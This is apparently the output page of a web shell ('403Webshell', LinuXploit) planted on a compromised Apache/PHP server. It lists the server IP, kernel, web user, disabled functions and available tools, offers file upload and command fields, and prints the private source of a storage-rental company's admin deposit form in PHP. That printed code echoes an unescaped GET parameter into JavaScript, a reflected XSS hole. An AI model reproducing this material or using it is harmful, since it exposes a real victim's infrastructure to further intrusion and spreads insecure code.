403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage/webadmin/deposit_modifyform_no_deposit.php
<?php
	require_once('check_login.php');

	// $deposit_info = get_deposit((int)$_GET["id"]);
	
	// $customer_id                   = $deposit_info["customer_id"];
	$order_id = (int)$_GET["id"];
	if(!empty($_GET["id"])){
		$order_info                 = get_order($order_id);

		$deposit_info = get_deposit_by_order_id($order_info['first_order_id']);
		if (!$deposit_info) {
			// echo '<script  type="text/javascript">console.log("no deposit found");</script>';
		}
		if ($deposit_info["status"] != "RETURNED") {
			$deposit_info = null;
		}
		$deposit_info["customer_code"] = $order_info["customer_code"];
		$deposit_info["customer_name"] = $order_info["customer_name"];

		// die(var_dump($deposit_info));
	}

	$sql = 'select * from invoice where order_id = ? and deleted = ?';
    $parameters = array($order_id, 0);
    $invoice_info = bind_pdo($sql, $parameters, 'selectall');



	/*$customer_info                 = get_customer($customer_id);
	$deposit_info["customer_code"] = $customer_info["code"];
	$customer_name                 = get_customer_name(rsa_crypt($customer_info["firstname"], 2), rsa_crypt($customer_info["lastname"], 2));
	$deposit_info["customer_name"] = $customer_name;*/

	$deposit_status                 = get_master_type_code("DEPOSIT_STATUS", $deposit_info["deposit_status"]);

	//$payment_info = get_payment($customer_id, "DEPOSIT", $deposit_info["deposit_id"]);


	$order_room_list = "";
	$order_room_info = get_order_room($order_id);

	if(!empty($order_room_info)){
		foreach($order_room_info as $order_room){
			$room_info = get_room($order_room["room_id"]);
			
			$sql		= "SELECT * FROM room as r LEFT JOIN order_room as oro on r.id = oro.room_id LEFT JOIN `order` as o on o.id = oro.order_id WHERE o.enddate > ? and oro.room_id = ? and o.id != ? and o.status != 'VOID'";
			$parameters = array(date('Y-m-d'), $order_room["room_id"], (int)$deposit_info["order_id"]);
			$orderList = bind_pdo($sql, $parameters, 'selectall');
			if(count($orderList) <= 0){
				update_room_status($order_room["room_id"]);
			}	


			$master_room_info = get_master_room($room_info["master_room_id"]);
			$order_room_list .= $room_info["code"]." (".$master_room_info["length"]."'x".$master_room_info["width"]."'x".$master_room_info["height"]."'), ";
		}

		$order_room_list = substr_replace($order_room_list ,"",-2);
	}

	$sql99        = "SELECT * FROM sys_cms_login WHERE cmsloginid=?";
	$parameters99 = array((int)$deposit_info{'deposit_lastupby'});
	$row99        = bind_pdo($sql99, $parameters99, "selectone");
?>

<!DOCTYPE html>
<html>
<head>
	<?php require_once("html_head.php"); ?>

	<script type="text/javascript">

		$(function () {
			$("#expected_returndate").datepicker({dateFormat: 'yy-mm-dd'});
			$("#actual_returndate").datepicker({dateFormat: 'yy-mm-dd'});
		});

		function checkInvoiceTypePrintExcel(){
			let value = $('#deposit_status').val();
			if (value === "RETURNED") {
				location.href='output_invoice3.php?type=DEPOSIT&order_id=<?=$_GET["id"]?>'
			} else {
				alert('not available');
				exit;
			}
		}
		
		function checkInvoiceTypePrintPdf(){
			let value = $('#deposit_status').val();
			if (value === "RETURNED") {
				location.href='output_invoice3_pdf.php?type=DEPOSIT&order_id=<?=$_GET["id"]?>'
			} else {
				alert('not available');
				exit;
			}
		}

	</script>
</head>
<body>

<form action="deposit_modify.php" method="post" name="modifyform" enctype="multipart/form-data">
	<input type="hidden" name="deposit_id" value="<?= $deposit_info['deposit_id']; ?>"/>

	<table border="0" cellpadding="0" cellspacing="0">
		<tr>
			<td height="70" align="right" valign="middle" class="icontxt">
				<table border="0" cellpadding="0" cellspacing="0">
					<tr>
						<?php //if($deposit_info["deposit_status"] == "PAID"){ ?>
							<td width="50" align="center" style="font-size: 12px;">
								<!-- <div onclick="location.href='output_invoice3.php?type=DEPOSIT&invoice_id=<?=$_GET["id"]?>'" style="cursor:pointer;"> -->
								<div onclick="checkInvoiceTypePrintExcel()" style="cursor:pointer;">
									<img src="images/print.png" width="32" height="32" border="0"/>
									<br>
									&nbsp;列印(Excel)&nbsp;&nbsp;
								</div>
							</td>
							<!-- print pdf -->
							<td width="50" align="center" style="font-size: 12px;">
								<div onclick="checkInvoiceTypePrintPdf()" style="cursor:pointer;">
                                    <img src="images/print.png" width="32" height="32" border="0"/> 
									<br> 
									&nbsp;列印&nbsp;&nbsp;
                                </div>
                            </td>
						<?php //} ?>


						<td width="50" align="center" style="font-size: 12px;">
							<input type="image" alt="submit" src="images/iconSave.png" width="32" height="32" border="0"><br>
							&nbsp;儲存&nbsp;&nbsp;</td>
						<td width="50" align="center">
                            <a href="order_index.php?<?php 
								if (isset($_SESSION["index_url_parameter"])){
									if(substr($_SESSION["index_url_parameter"],-18) == urlencode("取消")){
										echo $_SESSION["index_url_parameter"];
									} else {
										echo $_SESSION["index_url_parameter"] . "&msg=取消";
									}
								}
								?>"
							>
								<img src="images/iconCancel.png" alt="取消" width="32" height="32" border="0"><br>						
								&nbsp;取消&nbsp;&nbsp;
							</a>
						</td>
						<td>&nbsp;</td>
					</tr>
				</table>
			</td>
		</tr>
		<tr>
			<td>
				<span style="float:left;" class="pagetitletxt">&nbsp;&nbsp;<b><img src="images/iconList.jpg" width="48" height="48" align="absmiddle"/>
						發票詳情
			</td>
		</tr>
		<tr>
			<td align="left" valign="middle"><!-- Content -->

				<table style="width: 800px; padding-left: 15px;">

					<tr>
						<td>
							<p>狀態: </p>
						</td>

						<td>
							<?php
								echo "<select name='deposit_status' id='deposit_status'>";
								$deposit_status_info = get_master_type_code("DEPOSIT_STATUS");
								foreach ($deposit_status_info as $deposit_status) {
									if ($deposit_status["code"] == "RETURNED") {
										$selected = "selected";
									} else {
										$selected = "";
									}

									echo "<option value='" . $deposit_status["code"] . "' " . $selected . ">" . $deposit_status["name_tc"] . "</option>";
								}
								print "</select>";
							?>

						</td>
					</tr>

					<tr>
						<td style="width: 130px;">
							<p>發票編號: </p>
						</td>

						<td>
							<!-- <p>不適用</p> -->
							<?= $deposit_info["deposit_code"]?$deposit_info["deposit_code"]:"不適用" ?>
						</td>
					</tr>

					<tr>
						<td>
							<p>發票類型: </p>
						</td>

						<td>
							按金
						</td>
					</tr>

					<tr>
						<td>
							<p>合約編號: </p>
						</td>

						<td>
							<a href='order_modifyform.php?order_id=<?= $order_id ?>' target='_blank'><?= $order_info["code"] ?></a>
						</td>
					</tr>

					<tr>
						<td>
							<p>租用單位: </p>
						</td>

						<td>
							<?=$order_room_list?>
						</td>
					</tr>

					<tr>
						<td>
							<p>客戶編號: </p>
						</td>

						<td>
							<a href='customer_modifyform.php?id=<?= $deposit_info["customer_id"] ?>' target='_blank'><?= $deposit_info["customer_code"] ?></a>
						</td>
					</tr>

					<tr>
						<td>
							<p>客戶姓名: </p>
						</td>

						<td>
							<?= $deposit_info["customer_name"] ?>
						</td>
					</tr>

					<tr>
						<td>
							<p>發票日期: </p>
						</td>

						<td>
							<p>不適用</p>
							<!-- <?= substr($deposit_info["deposit_docdate"],0 ,10) ?> -->
						</td>
					</tr>

					<tr>
						<td>
							<p>按金: </p>
						</td>

						<td>
							$<?= $deposit_info["amount"]?$deposit_info["amount"]:"0.00" ?>
						</td>
					</tr>
					
					<tr>
						<td>
							<p>退倉通知賠償: </p>
						</td>

						<td>
							$<?= numberformat($order_info["withdraw_remuneration"]) ?>
						</td>
					</tr>

					<tr>
						<td>
							<p>實際退回按金: </p>
						</td>

						<td>
							$<?= $deposit_info["amount"] - $order_info["withdraw_remuneration"] >= 0 ? $deposit_info["amount"] - $order_info["withdraw_remuneration"] : "0.00" ?>
						</td>
					</tr>


					<tr>
						<td>
							<p>結欠: </p>
						</td>

						<td>
							$0.00
							<!-- <?= $deposit_info["deposit_balance"] ?> -->
						</td>
					</tr>
					
					<tr>
						<td>
							<p>退倉日期: </p>
						</td>

						<td>
							<?= substr($order_info["withdraw_date"],0 ,10) ?>
						</td>
					</tr>
					<tr>
						<td>
							<p>退倉單建立日期: </p>
						</td>

						<td>
							<?= substr($order_info["withdraw_process_date"],0 ,10) ?>
						</td>
					</tr>

					<!--<tr>
						<td>
							<p>付款詳細 : </p>
						</td>

						<td>
							<?php /*if(!empty($payment_info)){
								echo '<table id="payment_detail_table">
									<tr>
										<td>編號</td>
										<td>付款方式</td>
										<td>金額</td>
										<td>付款日期</td>
										<td>狀態</td>
										<td>刪除</td>
									</tr>';

								$payment_status_info = get_master_type_code("PAYMENT_STATUS");

								foreach($payment_info as $payment){
									$payment_method = get_master_type_code("PAYMENT_METHOD", $payment["payment_method"]);
									$additional_info = "";
									if($payment["payment_method"] == "CHEQUE"){
										$additional_info = "銀行名稱 : ".$payment["bank_name"]." 支票號碼 : ".$payment["cheque_num"];
									}
									$status = get_master_type_code("PAYMENT_STATUS", $payment["status"]);

									$docdate = $payment["docdate"];
									if($payment["docdate"] == "0000-00-00 00:00:00" || empty($payment["docdate"])){
										$docdate = "";
									}

									echo "<tr>";
									echo "<td>".$payment["code"]."</td>";
									echo "<td>".$payment_method["name_tc"]." ".$additional_info."</td>";
									echo "<td>".$payment["amount"]."</td>";
									echo "<td>".$docdate."</td>";

									echo "<td><input type='hidden' name='payment_id[]' value='".$payment["id"]."' /><input type='hidden' name='amount[]' value='".$payment["amount"]."' /> <select name='payment_status[]'>";
									foreach ($payment_status_info as $payment_status) {
										if ($payment_status["code"] == $payment["status"]) {
											$selected = "selected";
										} else {
											$selected = "";
										}

										echo "<option value='" . $payment_status["code"] . "' " . $selected . ">" . $payment_status["name_tc"] . "</option>";
									}
									echo "</select></td>";

									echo "<td>";
									if($payment["status"] == "NEW"){
										echo '<button type="button" onclick="if(confirm(\'確定要刪除這個付款記錄?\')){window.location.href=\'payment_delete.php?id='.$payment["id"].'\';}">刪除</button>';
									}
									echo "</td>";

									echo "</tr>";
								}

								echo "</table>";
							} */?>

							<br>
							<button type="button" onclick="window.location.href='payment_addform.php?payable_type=DEPOSIT&payable_id=<?/*=$deposit_info["deposit_id"]*/?>&order_id=<?/*=$deposit_info["order_id"]*/?>'">新增付款記錄</button>

							<br><br>
							<div class="msg">* 只有狀態為"新建"的付款記錄才可以刪除。</div>
						</td>
					</tr>-->

				</table>

				<br><br><br><br>
				<!-- End Content -->
			</td>
		</tr>
	</table>
</form>

</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit